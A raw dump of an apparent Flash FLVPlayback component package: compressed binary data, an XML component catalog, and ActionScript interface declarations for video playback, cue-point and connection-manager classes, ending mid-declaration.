4tzȴE*&bfUĈy~)ϼPo(fjsk,:,yKFCIcʵSys|s*S?U7Xs9&pb^]1R|'(aJ߮T!~IuoV<|D\+WJC\ q[Eݾ=QAᛗ5~!hT`BoU~`-3]\[fe\fo:e+ݴ2!=68;bbg;ɴ^$s*
?h޼5SYYky6Wz89JxVk=W~_o-p'?̗M+~7<.
kQA?am.J\IQh(Fo*7l_CpR$B B-5K|P!obado2_alN <}tIPmnު4b:C*@*LHD*l⎬ssMȽ\T3K,/Q&vyvOSva_)t)/2}삃%!͆4_~aTjGDTh?:N+#
9U)wB=GQ$mA0 a[XP>BkMP((I'aCc픯zn5=zm*xF%]N<FߧouFPuFzTޡH^{.׫G6#M*Qi	LɻL7:n
#a`5ORm7Jƭe cZP/T>	}%@՟)K@vDB!	^T!vqJ~gG]1PsSN){V$-&40#MmD9W9߆y3%<\/Xl%@l0zN*V#S
Q4Z
c%}s}p,v	h$C1o{V*g)+׬$e=cFA]se``f.QȐ_S`3cj8cȰTa5B㣔\qEӾd7u-K2!,$&$!JՊ	T1<cAO5upNN2k`ҎTt8>L/t܀!1Uqa]X6R9;6.	Gq IT&Ã}FnHI%B$0JiY/&4|b;B%mkR1"նIvDĀD?d&Bu~4rVEDfzx^3ܧZS=Q>1r93bVd]*e/F?e~	\A~ǻon;S1Ğ7ցjqy2u./is\fX?y<.t١2,1aPV^o|Y"vR"'W4&)~JBi4[焵txA}-&p0vg,BZcJӒIWk' Ϙ#O,<
`ƳaPD-6:6Y݇ZDtS-S>A6`'^hR]Ix'r{#_g&98#I-RD7>9~59Mi\?>_)cī"b1C?o'nx)y4^H7v&<b"p@nD;xyw/4ĬBOm4q%.h&g/`uHDb!Wk9"vo]Mѯ2ؕk+*.A5XC\$5oI)A.y*|&ژ=1ZL&Hπ
s^E9S_ҦXcEFZb[Ѿ)qts e'<S1bjX4p(yPIq"qFdt3N#U(E'Vruմ-wRkRo×y>&qP6bhڞ!sN*&xJ=ifn=盕*9f[T-E8QX+UAQ#\Xy ~RJ251TA&LI1|jQL$DԐœh	&4D4Ք=tDs0J{WCiR9:&iF8hG1h}
Ԁpt
mZI@2\;ۆq~k^$Ǵg9ݏlUg,:LR֞JռmbYh1emfbQ@B!FX`OD."Ph[WePk1GkH>*E}O뽏YVQR1QΩG6}@&dOӱGTXt⏻\8yqϻOXd6DjqR(}/JuW藅=3W/ƴI GC|p
_Rv!w_e(mזWTDO?Ixo
!K'>cģKݶ^-#l<P)!~`
EAڸ_VL@r'99iJ+zXsC!40V %qkڄ8.iwXPcvo3_72q$Z/h)>/>@8i8Z-y">QO%1{SàZJS-~_IaO8aC&BqaW$vK}Hy<!i0f(=-/)bٴ]ѽ'r) k"}ԅ9kߛx$ggQZݣ(L
Tܜv[oI{}"Hg@
Op+\~K$9v#܅оuj<:O[ff"Q٬ l%:U0HzmZnV)Bk5
MSERB4GnUVQ咗v^59dp֫,xUD]*MұU{~
Ubtxa",J#T䉃yb 5DG+
\[>1Zl}>}ïǨ%PVJ'5ˋ"*˕?/jF.(ZQ2
dUA%{#"қ%MO[`z|%i3XE\׼Wx*ؔ<ϮzmQIB.贗94{fQBZ4igUrZBuA)ZTd=>"s@(Κ%*a~/#<N[]je@ML[<=goNLFAJqSAE

(HĔB`upGi
iP2,t>'VY`2:Kӈs!碘El.q%kx1|-\3"WMI{>&G.qp =/D'cbR(рBik~m&To/I2[>la&c4ngm X(7~R
w}ps4NţCPaMJcܕvfocxI{r+˩_kYǾ$!KF)j2Za)ZR9n'HLFaW{9op
"PVun& 
$K.HꑼWsOJ:3T캾cћmdE/f/	qNXNk!,
1q-9*
qK"?y2Dbv-էSk'Oc3%	m
S`2H:ڧȅLeU1C3gK%UP$4>w(%#ar]m@rF 5J,=.69^$@AF0y"0ST'[~:1ޛj)\_bͭC&6o"Կb:O
s796qRqD9-5J
JR(!~zS	gyz\٥TT%(rbZ	qrÊp;if҈A3^U;#dKVKZxF?58!:_m,%S1av+OV#i\ɑqw1X	E9J}$
U"Bga6gʏH摾/ETOݹIǜ-,>}ădoi!gz?A6Y>&o8˄~FvԂYE@'[J5qŅ&AʥJ@(IsɃtuתpGĽXȲ\h9P[rp%!˜̳p)zoksQ7dĿ@wiJ/7[
ar8:T\-
GFMG6 MAf3-J~ZuBt2d
T`
yp24-}it_zyE=x#+BVH>hb#yiΫ,),pσ\'2IsRSJdIP>xBZ_KX
}+x|B9.O"3Gѕ|A8z\YӉ.}~O8赭F/SYi""u~01c	K`/c:wg)37nQduFQH-$W^@q]2p,HOQ.8~N5.?j%4+MVcZh'+sLt#a}!8
KA4 g`/	S)(|MFjo<Yߘk1ۭH}c5g˷βlϲg߁3gnz,#0!D('Ѹe4zVBΰ4;L+}Η5S-!߶_k[922fkbx1A.%%t=GoZn*C71oW}9|2ۄ
!ɧ͑s-;փ4P\c8h5Mz$o{=vpZƅt4EMcHhc2f;*{2HKO=kBY2ZCN:H6i c^ݧSog/NY]j^v2
!W?hFvmEYo1޴h
ƌj"M]i0aG0:bѱ&`t$cE`t$FFE{ΐ
Z|o8=!\$6m!xD6u!LV<>CX֜MJgz!7)XG簛<}ޢ|Υ"zp D	9.]F$%܏ɤ}O1Mxu oAf")xjBVi{xG'%!+!{؎6~v>_i^e]ޢV1=Lޢ߷Hvt91]ȉXq`mNf~lЧk;"O 83EBo%G(j#E}^`6#vpIxGv,~5<KvOTA<ց>*TKc.qԥdKXBY#9Z
[3{{:<eЁ9§Ǹex%c&& &ᨏ$؎ePૃ$jcN=t5<Y<I+8!HVK):)WT|53+BydGdYZ٧,"Ik0Smf!OlV"hNR+zYEqJ
DNL9c7,ԃ9EU7l#v҃wh?FzIu,]w	?9)X `Nɮ8ْd݊dVAV^S6 lh3kOB'{:tј)n;9+'zQ?\OC,EAY+ ,MM˟HeIYx<VHU6!^yܗ:Mlk!mn\́5oO=gMf$nfxZOL1XaJD xDꎺ

aGǝԝD3Dw8u7U,R;8B5_o]Ʊ>(WW8F5ǽ=h+_>e9GDϓr
r@DL%z
BHoedybH&7fii>^| keqɑBx9k=2yBsZ7h$ř	-BAǖ̈́!M013Pݠ]pQ$1z' k?mE" e3*kYBVnc	Dr!-b2i}lxEF0S/ xg,v&J7g]I(	a^6Ԛt!CwG4
DItLɬ%4oliK0MLfG^@W&HcL+ŷ,Q!P*>þO(' ;hCNЏB7'9#ȡXD
F|)bC߃vOwV|Y+h)ƀw]Z**]ܱ?۝QAD)Dni#!Ҷ7Ü)bwbm
lSCT
[Uzy]M!l=p8BO

U9Cs|'kXΥ`yceq}MYt5?HMbc"k79=-fؕg	WI@DWz72)"MHU*/Ԫw5pDaB`!or\G0+侶&h+7[jЃBIgPd(oLЌ[Cp1{9Feq`cHc8iyMp4MW;)x6^7﷝F}:)LڽQRmJ2:T J̱RZh"z^X)AhBկN1/RNC,0P`Ru1tO
b6l5k1UYtLKE/ռGNЈD7lʶ19eE;;>چ4f:C9tNZviMU>1et%7%yB^3k |U;G؞tbƌ.
A?1+>(67UCnNF@!6`~yZoaԉuNΰCw/Nj1^D
oL:mS+80V.!BvkFrBP/
aiCCҘ + YE&-~>e
IELu
I3Fc}XX&J)I!A	SѣJg[D
QKO{	9M$T<1P\rO=!bbgڧpԙ2ie5Ǖ#I	K"'9(yQ'k,`*MgJ
OC$&STfy=:	(dYDt!E?ot
|֢Z]J0	ugRc򌦞+?.acN:Q'ъVÆp X:Jc,cjܭWg)<4epl_Jl)-σ/u^-r DZ<8ԃe
MЂȄ,Oό'8EC1wutA؅+Hcp29,(5SpϺ3nٝuy׏?.X7a-M}EUgWE}lڧ'{oc+`/ٶaL@H˫md
4H$uFM++lLXEy	)autoPlaytrueautoPlay5 D{I
autoRewindtrue
autoRewindOso&E46BautoSizefalseautoSize%t>O 
bufferTime0.1
bufferTime69@-LJf
=5contentPathcontentPathAd.9Gj8	cuePoints	cuePoints4[oYBB\ձisLivefalseisLiveyEPfCL؏maintainAspectRatiotruemaintainAspectRatioA5{skinskinoNM-KqڗKskinAutoHidefalseskinAutoHidei`ROFY	totalTime0	totalTime"{BWHbLeuvolume100volumeKi
dE)TM*<?xml version="1.0" encoding ="utf-8"?>

<componentPackage xmlns="http://www.macromedia.com/flash/swccatalog/7">

<component id="FLVPlayback" class="mx.video.FLVPlayback" implementation="FLVPlayback.swf" iconFile="FLVPlayback.png" src="mx.video.FLVPlayback.asi" modified="1119134470">

<movieBounds xmin="0" xmax="6400" ymin="0" ymax="4800" />

    <include id="VideoPlayer"/>

    <include id="Icon"/>

    <exportAfter id="__Packages.mx.video.FLVPlayback"/>

<class id="mx.video.FLVPlayback" >

      <Event param1="buffering" />

      <Event param1="close" />

      <Event param1="complete" />

      <Event param1="cuePoint" />

      <Event param1="fastForward" />

      <Event param1="metadataReceived" />

      <Event param1="paused" />

      <Event param1="playing" />

      <Event param1="playheadUpdate" />

      <Event param1="progress" />

      <Event param1="ready" />

      <Event param1="resize" />

      <Event param1="rewind" />

      <Event param1="scrubFinish" />

      <Event param1="scrubStart" />

      <Event param1="seek" />

      <Event param1="skinError" />

      <Event param1="skinLoaded" />

      <Event param1="stateChange" />

      <Event param1="stopped" />

      <Event param1="volumeUpdate" />

      <IconFile param1="FLVPlayback.png" />

      <minimumPlayerVersion param1="8" />

      <RequiresDataBinding param1="true" />

      <LivePreviewVersion param1="1" />

   <method id="activeVideoPlayerIndex" returnType="Number">

      <Bindable />

   </method>

   <method id="autoPlay" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="autoRewind" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="autoSize" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="bufferTime" returnType="Number">

      <Inspectable defaultValue="0.1" />

   </method>

   <method id="bytesLoaded" returnType="Number">

      <ChangeEvent param1="progress" />

      <Bindable />

   </method>

   <method id="bytesTotal" returnType="Number">

      <ChangeEvent param1="progress" />

      <Bindable />

   </method>

   <method id="contentPath" returnType="String">

      <Inspectable type="Video Content Path" />

      <Bindable />

   </method>

   <method id="cuePoints" returnType="Void">

      <param id="cp" type="Array" />

      <Inspectable type="Video Cue Points" />

   </method>

   <method id="height" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="isLive" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="maintainAspectRatio" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="paused" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="paused" />

      <Bindable />

   </method>

   <method id="playheadTime" returnType="Number">

      <ChangeEvent param1="playheadUpdate" />

      <Bindable />

   </method>

   <method id="playing" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="playing" />

      <Bindable />

   </method>

   <method id="preferredHeight" returnType="Number">

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="preferredWidth" returnType="Number">

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="scaleX" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="scaleY" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="skin" returnType="String">

      <Inspectable type="Video Skin" />

   </method>

   <method id="skinAutoHide" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="state" returnType="String">

      <Bindable />

      <ChangeEvent param1="stateChange" />

   </method>

   <method id="stopped" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="stopped" />

      <Bindable />

   </method>

   <method id="totalTime" returnType="Number">

      <Inspectable defaultValue="0" />

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="volume" returnType="Number">

      <Inspectable defaultValue="100" />

      <ChangeEvent param1="volumeUpdate" />

      <Bindable />

   </method>

   <method id="width" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="x" returnType="Number">

      <Bindable />

   </method>

   <method id="y" returnType="Number">

      <Bindable />

   </method>

</class>

<class id="MovieClip" >

</class>

<asset id="VideoPlayer" modified="1119134208">

      <exportAfter id="__Packages.mx.video.VideoPlayer"/>

</asset>

<asset id="Icon" modified="1116911395">

</asset>

<asset id="__Packages.mx.video.FLVPlayback" src="mx.video.FLVPlayback.asi" modified="1125340837">

    <include id="__Packages.mx.video.UIManager" />

    <include id="__Packages.mx.video.VideoPlayer" />

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.events.EventDispatcher" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.video.NCManager" />

    <include id="__Packages.mx.utils.Delegate" />

    <include id="__Packages.mx.video.CuePointManager" />

</asset>

<asset id="__Packages.mx.video.UIManager" src="mx.video.UIManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.FLVPlayback" />

    <include id="__Packages.mx.video.VideoPlayer" />

</asset>

<asset id="__Packages.mx.video.VideoPlayer" src="mx.video.VideoPlayer.asi" modified="1125340805">

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.events.EventDispatcher" />

    <include id="__Packages.mx.video.VideoError" />

</asset>

<asset id="__Packages.mx.video.INCManager" src="mx.video.INCManager.asi" modified="1125339837">

    <include id="__Packages.mx.video.VideoPlayer" />

</asset>

<asset id="__Packages.mx.events.EventDispatcher" src="mx.events.EventDispatcher.asi" modified="1121661006">

</asset>

<asset id="__Packages.mx.video.VideoError" src="mx.video.VideoError.asi" modified="1125339837">

</asset>

<asset id="__Packages.mx.video.NCManager" src="mx.video.NCManager.asi" modified="1125430975">

    <include id="__Packages.mx.video.VideoPlayer" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.video.SMILManager" />

    <exportAfter id="__Packages.mx.video.INCManager" />

</asset>

<asset id="__Packages.mx.video.SMILManager" src="mx.video.SMILManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.utils.Delegate" />

</asset>

<asset id="__Packages.mx.utils.Delegate" src="mx.utils.Delegate.asi" modified="1081807232">

</asset>

<asset id="__Packages.mx.video.CuePointManager" src="mx.video.CuePointManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.FLVPlayback" />

    <include id="__Packages.mx.video.VideoError" />

</asset>

</component>

</componentPackage>

Media 1Bitmap 1FLVPlayback.pngHH2Hx&Aj`^]m2ٻj
]-.`WGKj5q޼y?;]k^%^I~nw[ɗۓq[
E$}}3i+a]DrxTY79::|꘧hϷ;`샻:ˇFeҡ]cDrx]]%SGDZs<w}Dzo;MZ|*Üpv_<&~EQNC?:Aog($FLVPlaybackFLVPlaybackFLVPlayback.swfCIconIconFLVPlayback.swf#BVideoPlayerVideoPlayerFLVPlayback.swfB__Packages.mx.video.VideoPlayerFLVPlayback.swf$__Packages.mx.events.EventDispatcher$__Packages.mx.events.EventDispatcherFLVPlayback.swfN0Bmx.events.EventDispatcher$

intrinsic class mx.events.EventDispatcher

{

   static var _fEventDispatcher:mx.events.EventDispatcher;

   static function _removeEventListener(queue:Object, event:String, handler):Void;

   public function addEventListener(event:String, handler):Void;

   public function dispatchEvent(eventObj:Object):Void;

   public function dispatchQueue(queueObj:Object, eventObj:Object):Void;

   static var exceptions:Object;

   static function initialize(object:Object):Void;

   public function removeEventListener(event:String, handler):Void;

};

__Packages.mx.utils.Delegate__Packages.mx.utils.DelegateFLVPlayback.swf{@mx.utils.Delegate

intrinsic class mx.utils.Delegate extends Object

{

   public function Delegate(f:Function);

   static function create(obj:Object, func:Function):Function;

   public function createDelegate(obj:Object):Function;

   private var func:Function;

};

#__Packages.mx.video.CuePointManager#__Packages.mx.video.CuePointManagerFLVPlayback.swfVC__Packages.mx.video.FLVPlaybackFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swfmx.video.CuePointManager	import mx.video.VideoError;

import mx.video.FLVPlayback;



[Event("cuePoint")] 

intrinsic class mx.video.CuePointManager

{

   public function CuePointManager(owner:mx.video.FLVPlayback, id:Number);

   static private var DEFAULT_LINEAR_SEARCH_TOLERANCE:Number;

   private var _asCuePointIndex:Number;

   private var _asCuePointTolerance:Number;

   private var _disabledCuePoints:Array;

   private var _disabledCuePointsByNameOnly:Object;

   private var _id:Number;

   private var _linearSearchTolerance:Number;

   private var _metadataLoaded:Boolean;

   private var _owner:mx.video.FLVPlayback;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Object;

   private function addOrDisable(disable:Boolean, cuePoint:Object):Void;

   public var allCuePoints:Array;

   public var asCuePoints:Array;

   static private function cuePointCompare(time:Number, name:String, cuePoint:Object):Number;

   static private var cuePointsReplace:Array;

   static private function deepCopyObject(obj:Object, recurseLevel:Number):Object;

   public function dispatchASCuePoints():Void;

   public var eventCuePoints:Array;

   public var flvCuePoints:Array;

   public function getCuePoint(cuePointArray:Array, closeIsOK:Boolean, timeNameOrCuePoint:Object):Object;

   private function getCuePointIndex(cuePointArray:Array, closeIsOK:Boolean, time:Number, name:String, start:Number, len:Number):Number;

   private function getNextCuePointIndexWithName(name:String, array:Array, index:Number):Number;

   public function getNextCuePointWithName(cuePoint:Object):Object;

   function get id():Number;

   private function insertCuePoint(insertIndex:Number, cuePointArray:Array, cuePoint:Object):Array;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   function get metadataLoaded():Boolean;

   public var navCuePoints:Array;

   function set playheadUpdateInterval(aTime:Number):Void;

   public function processCuePointsProperty(cuePoints:Array):Void;

   public function processFLVCuePoints(metadataCuePoints:Array):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   private function removeCuePoints(cuePointArray:Array, cuePoint:Object):Number;

   public function reset();

   public function resetASCuePointIndex(time:Number):Void;

   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   private function unescape(origStr:String):String;

};

__Packages.mx.video.FLVPlayback__Packages.mx.video.FLVPlaybackFLVPlayback.swfVC__Packages.mx.video.UIManagerFLVPlayback.swf__Packages.mx.video.VideoPlayerFLVPlayback.swf__Packages.mx.video.INCManagerFLVPlayback.swf$__Packages.mx.events.EventDispatcherFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.video.NCManagerFLVPlayback.swf__Packages.mx.utils.DelegateFLVPlayback.swf#__Packages.mx.video.CuePointManagerFLVPlayback.swfmx.video.FLVPlayback.import mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.UIManager;

import mx.events.EventDispatcher;

import mx.video.NCManager;

import mx.video.INCManager;

import mx.video.CuePointManager;

import mx.utils.Delegate;



[Event("buffering")] 

[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("fastForward")] 

[Event("metadataReceived")] 

[Event("paused")] 

[Event("playing")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("scrubFinish")] 

[Event("scrubStart")] 

[Event("seek")] 

[Event("skinError")] 

[Event("skinLoaded")] 

[Event("stateChange")] 

[Event("stopped")] 

[Event("volumeUpdate")] 

[IconFile("FLVPlayback.png")] 

[minimumPlayerVersion("8")] 

[RequiresDataBinding(true)] 

[LivePreviewVersion("1")] 

intrinsic class mx.video.FLVPlayback extends MovieClip

{

   static public var ACTIONSCRIPT;

   static public var ALL;

   static public var BUFFERING:String;

   static public var CONNECTION_ERROR:String;

   static public var DISCONNECTED:String;

   static public var EVENT;

   static public var FLV;

   public function FLVPlayback();

   static public var LOADING:String;

   static public var NAVIGATION;

   static public var PAUSED:String;

   static public var PLAYING:String;

   static public var REWINDING:String;

   static public var SEEKING:String;

   static private var SEEK_TO_PREV_OFFSET_DEFAULT:Number;

   static public var STOPPED:String;

   static private var VP_DEPTH_OFFSET:Number;

   private var __forceNCMgr:mx.video.NCManager;

   private var __height:Number;

   private var __width:Number;

   private var _activeVP:Number;

   private var _aspectRatio:Boolean;

   private var _autoPlay:Boolean;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _backButton:MovieClip;

   private var _bufferTime:Number;

   private var _bufferingBar:MovieClip;

   private var _bufferingBarHides:Boolean;

   private var _contentPath:String;

   private var _cpMgr:Array;

   private var _cuePoints:Array;

   private var _firstStreamReady:Boolean;

   private var _firstStreamShown:Boolean;

   private var _forwardButton:MovieClip;

   private var _idleTimeout:Number;

   private var _isLive:Boolean;

   private var _muteButton:MovieClip;

   private var _origHeight:Number;

   private var _origWidth:Number;

   private var _pauseButton:MovieClip;

   private var _playButton:MovieClip;

   private var _playPauseButton:MovieClip;

   private var _playheadUpdateInterval:Number;

   private var _preSeekTime:Number;

   private var _prevHeight:Number;

   private var _prevWidth:Number;

   private var _progressInterval:Number;

   private var _scaleX:Number;

   private var _scaleY:Number;

   public 	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~function _scrubFinish():Void;

   public function _scrubStart():Void;

   private var _seekBar:MovieClip;

   private var _seekBarInterval:Number;

   private var _seekBarScrubTolerance:Number;

   private var _seekToPrevOffset:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _stopButton:MovieClip;

   private var _topVP:Number;

   private var _totalTime:Number;

   private var _transform:Object;

   private var _uiMgr:mx.video.UIManager;

   private var _visibleVP:Number;

   private var _volume:Number;

   private var _volumeBar:MovieClip;

   private var _volumeBarInterval:Number;

   private var _volumeBarScrubTolerance:Number;

   private var _vp:Array;

   public var _vpState:Array;

   [Bindable] public function get activeVideoPlayerIndex():Number;

   public function set activeVideoPlayerIndex(i:Number):Void;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Number;

   public var addEventListener:Function;

   [Inspectable(defaultValue=true)] public function get autoPlay():Boolean;

   public function set autoPlay(flag:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   [Inspectable(defaultValue=false)] public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get backButton():MovieClip;

   public function set backButton(s:MovieClip):Void;

   public function get bitrate():Number;

   public function set bitrate(b:Number):Void;

   public var boundingBox_mc:MovieClip;

   public function bringVideoPlayerToFront(index:Number):Void;

   [Inspectable(defaultValue=0.1)] public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get buffering():Boolean;

   public function get bufferingBar():MovieClip;

   public function set bufferingBar(s:MovieClip):Void;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   [ChangeEvent("progress")] [Bindable] public function get bytesLoaded():Number;

   [ChangeEvent("progress")] [Bindable] public function get bytesTotal():Number;

   public function closeVideoPlayer(index:Number):mx.video.VideoPlayer;

   [Inspectable(type="Video Content Path")] [Bindable] public function get contentPath():String;

   public function set contentPath(url:String):Void;

   private function createLivePreviewMovieClip():Void;

   private function createUIManager():Void;

   private function createVideoPlayer(index:Number):Void;

   [Inspectable(type="Video Cue Points")] public function set cuePoints(cp:Array):Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doContentPathConnect():Void;

   public function findCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNearestCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNextCuePointWithName(cuePoint:Object):Object;

   public function get forwardButton():MovieClip;

   public function set forwardButton(s:MovieClip):Void;

   public function getNextHighestDepth():Number;

   public function getVideoPlayer(index:Number):mx.video.VideoPlayer;

   private function handleEvent(e:Object):Void;

   [ChangeEvent("resize")] [Bindable] public function get height():Number;

   public function set height(h:Number):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   [Inspectable(defaultValue=false)] public function get isLive():Boolean;

   public function set isLive(flag:Boolean):Void;

   public function get isRTMP():Boolean;

   public function load(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata():Object;

   public function get metadataLoaded():Boolean;

   public function get muteButton():MovieClip;

   public function set muteButton(s:MovieClip):Void;

   public function get ncMgr():mx.video.INCManager;

   public function pause():Void;

   public function get pauseButton():MovieClip;

   public function set pauseButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("paused")] [Bindable] public function get paused():Boolean;

   public function play(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   public function get playButton():MovieClip;

   public function set playButton(s:MovieClip):Void;

   public function get playPauseButton():MovieClip;

   public function set playPauseButton(s:MovieClip):Void;

   public function get playheadPercentage():Number;

   public function set playheadPercentage(percent:Number);

   [ChangeEvent("playheadUpdate")] [Bindable] public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("playing")] [Bindable] public function get playing():Boolean;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredHeight():Number;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredWidth():Number;

   private var preview_mc:MovieClip;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   public var removeEventListener:Function;

   [ChangeEvent("resize")] [Bindable] function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   [ChangeEvent("resize")] [Bindable] function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function get scrubbing():Boolean;

   public function seek(time:Number):Void;

   public function get seekBar():MovieClip;

   public function set seekBar(s:MovieClip):Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function seekPercent(percent:Number):Void;

   public function seekSeconds(time:Number):Void;

   public function seekToNavCuePoint(timeNameOrCuePoint:Object):Void;

   public function seekToNextNavCuePoint(time:Number):Void;

   public function seekToPrevNavCuePoint(time:Number):Void;

   public function get seekToPrevOffset():Number;

   public function set seekToPrevOffset(s:Number):Void;

   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function showFirstStream():Void;

   [Inspectable(type="Video Skin")] public function get skin():String;

   public function set skin(s:String):Void;

   [Inspectable(defaultValue=false)] public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean):Void;

   public function skinError(message:String):Void;

   public function skinLoaded():Void;

   [Bindable] [ChangeEvent("stateChange")] public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get stopButton():MovieClip;

   public function set stopButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("stopped")] [Bindable] public function get stopped():Boolean;

   [Inspectable(defaultValue=0)] [ChangeEvent("metadataReceived")] [Bindable] public function get totalTime():Number;

   public function set totalTime(aTime:Number):Void;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   static public var version:String;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get visibleVideoPlayerIndex():Number;

   public function set visibleVideoPlayerIndex(i:Number);

   [Inspectable(defaultValue=100)] [ChangeEvent("volumeUpdate")] [Bindable] public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get volumeBar():MovieClip;

   public function set volumeBar(s:MovieClip):Void;

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

   [ChangeEvent("resize")] [Bindable] public function get width():Number;

   public function set width(w:Number):Void;

   [Bindable] public function get x():Number;

   public function set x(xpos:Number);

   [Bindable] public function get y():Number;

   public function set y(ypos:Number);

};

__Packages.mx.video.INCManager__Packages.mx.video.INCManagerFLVPlayback.swfRC__Packages.mx.video.VideoPlayerFLVPlayback.swfmx.video.INCManagermimport mx.video.VideoPlayer;



interface mx.video.INCManager

{

   public function close():Void;

   public function connectAgain():Boolean;

   public function connectToURL(url:String):Boolean;

   public function getBitrate():Number;

   public function getNetConnection():NetConnection;

   public function getStreamHeight():Number;

   public function getStreamLength():Number;

   public function getStreamName():String;

   public function getStreamWidth():Number;

   public function getTimeout():Number;

   public function getVideoPlayer():mx.video.VideoPlayer;

   public function helperDone(helper:Object, success:Boolean);

   public function isRTMP():Boolean;

   public function reconnect():Void;

   public function setBitrate(b:Number):Void;

   public function setTimeout(t:Number):Void;

   public function setVideoPlayer(v:mx.video.VideoPlayer):Void;

};

__Packages.mx.video.NCManager__Packages.mx.video.NCManagerFLVPlayback.swfC__Packages.mx.video.VideoPlayerFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.video.SMILManagerFLVPlayback.swf__Packages.mx.video.INCManagerFLVPlayback.swfmx.video.NCManagerimport mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.INCManager;

import mx.video.SMILManager;



intrinsic class mx.video.NCManager implements mx.video.INCManager

{

   public var DEFAULT_TIMEOUT:Number;

   public function NCManager();

   static private var RTMP_CONN:Array;

   private var _appName:String;

   private var _autoSenseBW:Boolean;

   private var _bitrate:Number;

   private var _connTypeCounter:Number;

   private var _contentPath:String;

   private var _isRTMP:Boolean;

   private var _nc:NetConnection;

   private var _ncUri:String;

   public function _onFCSConnectTimeOut():Void;

   private var _owner:mx.video.VideoPlayer;

   public var _payload:Number;

   private var _portNumber:String;

   private var _protocol:String;

   private var _serverName:String;

